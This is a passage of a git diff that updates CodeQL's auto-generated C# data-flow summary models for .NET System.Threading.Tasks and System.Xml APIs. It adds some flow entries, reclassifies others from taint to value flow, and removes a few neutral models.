["System.Threading.Tasks", "TaskAsyncEnumerableExtensions", False, "ConfigureAwait", "(System.Collections.Generic.IAsyncEnumerable,System.Boolean)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "TaskAsyncEnumerableExtensions", False, "ToBlockingEnumerable", "(System.Collections.Generic.IAsyncEnumerable,System.Threading.CancellationToken)", "", "Argument[0].Property[System.Collections.Generic.IAsyncEnumerator`1.Current]", "ReturnValue.Element", "value", "dfc-generated"] @@ -166,7 +166,7 @@ extensions: - ["System.Threading.Tasks", "ValueTask", False, "AsTask", "()", "", "Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._result]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "value", "dfc-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ConfigureAwait", "(System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "ValueTask", False, "GetAwaiter", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "ValueTask", False, "Preserve", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "ValueTask", False, "Preserve", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ValueTask", "(System.Threading.Tasks.Sources.IValueTaskSource,System.Int16)", "", "Argument[0]", "Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj]", "value", "dfc-generated"] - ["System.Threading.Tasks", "ValueTask", False, "ValueTask", "(System.Threading.Tasks.Task)", "", "Argument[0]", "Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml index 664da0ce88ab..c894e3eb5f68 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Linq.model.yml @@ -32,7 +32,9 @@ extensions: - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XContainer", False, "Add", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "AddFirst", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XContainer", False, "AddFirst", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "DescendantNodes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Descendants", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "Descendants", "(System.Xml.Linq.XName)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -43,6 +45,7 @@ extensions: - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XContainer", False, "ReplaceNodes", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "get_FirstNode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XContainer", False, "get_LastNode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XDeclaration", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Xml.Linq.XDeclaration._encoding]", "ReturnValue", "taint", "dfc-generated"] @@ -96,9 +99,11 @@ extensions: - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XElement", False, "ReplaceAll", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object[])", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] + - ["System.Xml.Linq", "XElement", False, "ReplaceAttributes", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "SetAttributeValue", "(System.Xml.Linq.XName,System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "SetAttributeValue", "(System.Xml.Linq.XName,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Linq", "XElement", False, "SetElementValue", "(System.Xml.Linq.XName,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] @@ -120,7 +125,9 @@ extensions: - ["System.Xml.Linq", "XNamespace", False, "get_NamespaceName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNamespace", False, "op_Addition", "(System.Xml.Linq.XNamespace,System.String)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Xml.Linq.XName._ns]", "value", "dfc-generated"] - ["System.Xml.Linq", "XNode", False, "AddAfterSelf", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XNode", False, "AddAfterSelf", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "AddBeforeSelf", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XNode", False, "AddBeforeSelf", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "Ancestors", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "Ancestors", "(System.Xml.Linq.XName)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "CreateReader", "(System.Xml.Linq.ReaderOptions)", "", "Argument[this]", "ReturnValue.SyntheticField[System.Xml.Linq.XNodeReader._source]", "value", "dfc-generated"] @@ -130,6 +137,7 @@ extensions: - ["System.Xml.Linq", "XNode", False, "ReadFrom", "(System.Xml.XmlReader)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "ReadFromAsync", "(System.Xml.XmlReader,System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "ReplaceWith", "(System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Linq", "XNode", False, "ReplaceWith", "(System.Object[])", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", False, "get_NextNode", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", True, "WriteTo", "(System.Xml.XmlWriter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Linq", "XNode", True, "WriteToAsync", "(System.Xml.XmlWriter,System.Threading.CancellationToken)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -170,7 +178,6 @@ extensions: - ["System.Xml.Linq", "XCData", "XCData", "(System.Xml.Linq.XCData)", "summary", "df-generated"] - ["System.Xml.Linq", "XCData", "get_NodeType", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XComment", "get_NodeType", "()", "summary", "df-generated"] - - ["System.Xml.Linq", "XContainer", "AddFirst", "(System.Object[])", "summary", "df-generated"] - ["System.Xml.Linq", "XContainer", "CreateWriter", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XContainer", "RemoveNodes", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XDocument", "LoadAsync", "(System.IO.Stream,System.Xml.Linq.LoadOptions,System.Threading.CancellationToken)", "summary", "df-generated"] @@ -226,8 +233,6 @@ extensions: - ["System.Xml.Linq", "XNamespace", "get_Xmlns", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNamespace", "op_Equality", "(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace)", "summary", "df-generated"] - ["System.Xml.Linq", "XNamespace", "op_Inequality", "(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace)", "summary", "df-generated"] - - ["System.Xml.Linq", "XNode", "AddAfterSelf", "(System.Object[])", "summary", "df-generated"] - - ["System.Xml.Linq", "XNode", "AddBeforeSelf", "(System.Object[])", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "CompareDocumentOrder", "(System.Xml.Linq.XNode,System.Xml.Linq.XNode)", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "CreateReader", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "DeepEquals", "(System.Xml.Linq.XNode,System.Xml.Linq.XNode)", "summary", "df-generated"] @@ -237,7 +242,6 @@ extensions: - ["System.Xml.Linq", "XNode", "IsBefore", "(System.Xml.Linq.XNode)", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "NodesBeforeSelf", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "Remove", "()", "summary", "df-generated"] - - ["System.Xml.Linq", "XNode", "ReplaceWith", "(System.Object[])", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "ToString", "()", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "ToString", "(System.Xml.Linq.SaveOptions)", "summary", "df-generated"] - ["System.Xml.Linq", "XNode", "get_DocumentOrderComparer", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml index cedc13ddbb95..39b763ee7b6e 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Resolvers.model.yml @@ -8,6 +8,7 @@ extensions: - ["System.Xml.Resolvers", "XmlPreloadedResolver", False, "get_PreloadedUris", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Resolvers", "XmlPreloadedResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml.Resolvers", "XmlPreloadedResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] + - ["System.Xml.Resolvers", "XmlPreloadedResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel diff --git a/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml index 98ddebacb8cb..c923c9ce24f9 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Schema.model.yml @@ -36,14 +36,15 @@ extensions: - ["System.Xml.Schema", "XmlSchemaComplexContentRestriction", False, "get_Attributes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaComplexType", False, "get_AttributeWildcard", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaComplexType", False, "get_ContentTypeParticle", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ChangeType", "(System.Object,System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaDatatype", True, "ParseValue", "(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaElement", False, "get_ElementSchemaType", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -80,12 +81,12 @@ extensions: - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.String,System.Xml.XmlReader)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.String,System.Xml.XmlReader)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Add", "(System.Xml.Schema.XmlSchemaSet)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "CopyTo", "(System.Xml.Schema.XmlSchema[],System.Int32)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Remove", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Reprocess", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaSet", False, "Reprocess", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaSet", False, "Reprocess", "(System.Xml.Schema.XmlSchema)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Schemas", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "Schemas", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaSet", False, "XmlSchemaSet", "(System.Xml.XmlNameTable)", "", "Argument[0]", "Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaSet._nameTable]", "value", "dfc-generated"] @@ -109,7 +110,7 @@ extensions: - ["System.Xml.Schema", "XmlSchemaValidator", False, "Initialize", "(System.Xml.Schema.XmlSchemaObject)", "", "Argument[0]", "Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaValidator._partialValidationType]", "value", "dfc-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "SkipToEndElement", "(System.Xml.Schema.XmlSchemaInfo)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateAttribute", "(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateElement", "(System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateElement", "(System.String,System.String,System.Xml.Schema.XmlSchemaInfo)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] @@ -121,7 +122,7 @@ extensions: - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "ValidateEndElement", "(System.Xml.Schema.XmlSchemaInfo,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Schema", "XmlSchemaValidator", False, "XmlSchemaValidator", "(System.Xml.XmlNameTable,System.Xml.Schema.XmlSchemaSet,System.Xml.IXmlNamespaceResolver,System.Xml.Schema.XmlSchemaValidationFlags)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml b/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml index 713f0d5c0f60..1a57b599d188 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.XPath.model.yml @@ -8,6 +8,7 @@ extensions: - ["System.Xml.XPath", "Extensions", False, "CreateNavigator", "(System.Xml.Linq.XNode,System.Xml.XmlNameTable)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._source]", "value", "dfc-generated"] - ["System.Xml.XPath", "Extensions", False, "CreateNavigator", "(System.Xml.Linq.XNode,System.Xml.XmlNameTable)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._nameTable]", "value", "dfc-generated"] - ["System.Xml.XPath", "IXPathNavigable", True, "CreateNavigator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.XPath", "IXPathNavigable", True, "CreateNavigator", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Xml.XPath", "XDocumentExtensions", False, "ToXPathNavigable", "(System.Xml.Linq.XNode)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.XPath", "XPathDocument", False, "XPathDocument", "(System.Xml.XmlReader,System.Xml.XmlSpace)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathException", True, "get_Message", "()", "", "Argument[this].Property[System.Exception.Message]", "ReturnValue", "value", "dfc-generated"] @@ -17,7 +18,7 @@ extensions: - ["System.Xml.XPath", "XPathExpression", True, "SetContext", "(System.Xml.IXmlNamespaceResolver)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathExpression", True, "SetContext", "(System.Xml.XmlNamespaceManager)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathExpression", True, "get_Expression", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Xml.XPath", "XPathItem", True, "ValueAs", "(System.Type,System.Xml.IXmlNamespaceResolver)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml index b27cc848761b..ba89318d1658 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml @@ -123,13 +123,14 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryOutput", False, "WriteStartNamespace", "(System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryOutput", False, "WriteStartProcessingInstruction", "(System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryOutput", False, "XsltCopyOf", "(System.Xml.XPath.XPathNavigator)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltArgument", "(System.Int32,System.Object,System.Type)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltResult", "(System.Int32,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltArgument", "(System.Int32,System.Object,System.Type)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ChangeTypeXsltResult", "(System.Int32,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetGlobalNames", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetGlobalValue", "(System.String)", "", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetXsltValue", "(System.Collections.IList)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetXsltValue", "(System.Collections.IList)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugSetGlobalValue", "(System.String,System.Object)", "", "Argument[1]", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "value", "dfc-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DocOrderDistinct", "(System.Collections.Generic.IList)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DocOrderDistinct", "(System.Collections.Generic.IList)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndRtfConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndRtfConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -142,6 +143,7 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.Int32)", "", "Argument[0]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Name]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.String)", "", "Argument[0]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Name]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.String)", "", "Argument[1]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Namespace]", "value", "dfc-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "SetGlobalValue", "(System.Int32,System.Object)", "", "Argument[1]", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -321,7 +323,6 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "MatchesXmlType", "(System.Xml.XPath.XPathItem,System.Xml.Schema.XmlTypeCode)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "OnCurrentNodeChanged", "(System.Xml.XPath.XPathNavigator)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "SendMessage", "(System.String)", "summary", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "SetGlobalValue", "(System.Int32,System.Object)", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "ThrowException", "(System.String)", "summary", "df-generated"] - 